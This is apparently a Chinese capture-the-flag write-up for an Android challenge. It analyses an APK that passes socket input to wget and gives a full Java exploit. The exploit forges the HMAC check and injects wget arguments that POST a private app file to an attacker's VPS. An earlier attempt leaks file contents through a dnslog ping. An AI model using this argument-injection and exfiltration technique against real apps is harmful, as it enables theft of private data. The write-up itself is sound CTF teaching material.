高校战疫网络安全分享赛-GetFlag-Writeup

getflagapk.png

前几天收到一道mobile的ctf题目,花了点时间解决了。中间复盘了一下过程,主要还是思路问题。思路打不开容易钻牛角尖,我在尝试用命令注入的方式浪费了起码两小时,后来发现直接用wget的一个参数轻松搞定。

1 分析代码

jeb分析代码,发现客户端会启动一个socket监听8080端口。当有新的client连接就会返回一个随机数字。另外看到了两段有趣的代码,第一个是通过写文件的方式,将 FLAG{the_real_flag_is_in_the_remote_apk} 写入 files/flag 文件中。算是一个小提示,提示真正的flag在远程客户端中。

inremote.png

图2  flag文件

另外的一段代码是就是对socket接收的payload进行检测。payload需要包含message和check字段,数据格式为json。检测过程为对message的内容进行sha1计算,计算key使用client连接的时候生成的随机数字。如果检测通过就执行wget命令和message内容的组合。

checkpayload.png

图3  checkpayload方法

另外客户端也提到了远程apk,从代码里没有看到任何线索。这里我尝试用apktool解包之后,发现assets中有一个secret.txt。内容如下,对其进行base64解密之后可以获得远程ip 212.64.66.177 。telnet一下他的8080端口,发现也返回了一个神秘的数字。

VGhlJTIwSVAlMjBvZiUyMHRoZSUyMHJlbW90ZSUyMHBob25lJTIwaXMlMjAyMTIuNjQuNjYuMTc3

这里解题思路以及浮现了,就是通过自己构造json字符串。通过checkpayload的检测,顺利执行命令。一开始我的想法是通过添加 ||或者&& 组合命令,例如 wget -h && ping `cat 1.txt`.j30wa3.dnslog.cn 。后来反复查找,发现exec是通过新建进程的方式执行文件,并没有sh环境,所以不能识别 && >> 等符号。

后来转换思路,在wget -h中发现可以在wget的时候通过bodyfile参数发送文件,顺利获取了flag。

bodyfile.png

图4  checkpayload方法

2 利用过程

import com.alibaba.fastjson.JSONObject;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.math.BigInteger;
import java.net.Socket;
import java.security.Key;

import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;

public class Main {

    public static void main(String[] args) {
        getflag();
    }

    public static byte[] HmacSHA1Encrypt(String data, String pass) throws Exception {
        SecretKeySpec key = new SecretKeySpec(pass.getBytes("UTF-8"), "HmacSHA1");
        Mac mac = Mac.getInstance("HmacSHA1");
        mac.init(key);
        return mac.doFinal(data.getBytes("UTF-8"));
    }
    public static String bytesToHexString(byte[] src){
        StringBuilder stringBuilder = new StringBuilder("");
        if (src == null || src.length <= 0) {
            return null;
        }
        for (int i = 0; i < src.length; i++) {
            int v = src[i] & 0xFF;
            String hv = Integer.toHexString(v);
            if (hv.length() < 2) {
                stringBuilder.append(0);
            }
            stringBuilder.append(hv);
        }
        return stringBuilder.toString();
    }
    public static void getflag() {
        try {
            Socket socket = new Socket("212.64.66.177",8080);
            InputStream in = socket.getInputStream();
            OutputStream out = socket.getOutputStream();
            JSONObject jsonObject = new JSONObject();
            String msg = "--method=POST --body-file=/data/data/com.xuanxuan.getflag/files/flag http://your vps ip:8090/";
            jsonObject.put("message", msg);
            byte[] b = new byte[1024];
            int len = 0;
            len=in.read(b);
            String strText = new String(b, 0, len-1);
            System.out.println(strText);
            jsonObject.put("check", new BigInteger(1, HmacSHA1Encrypt(
                msg, strText)).toString(16));
            System.out.print(jsonObject.toJSONString());
            out.write(jsonObject.toJSONString().getBytes());
            socket.close();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}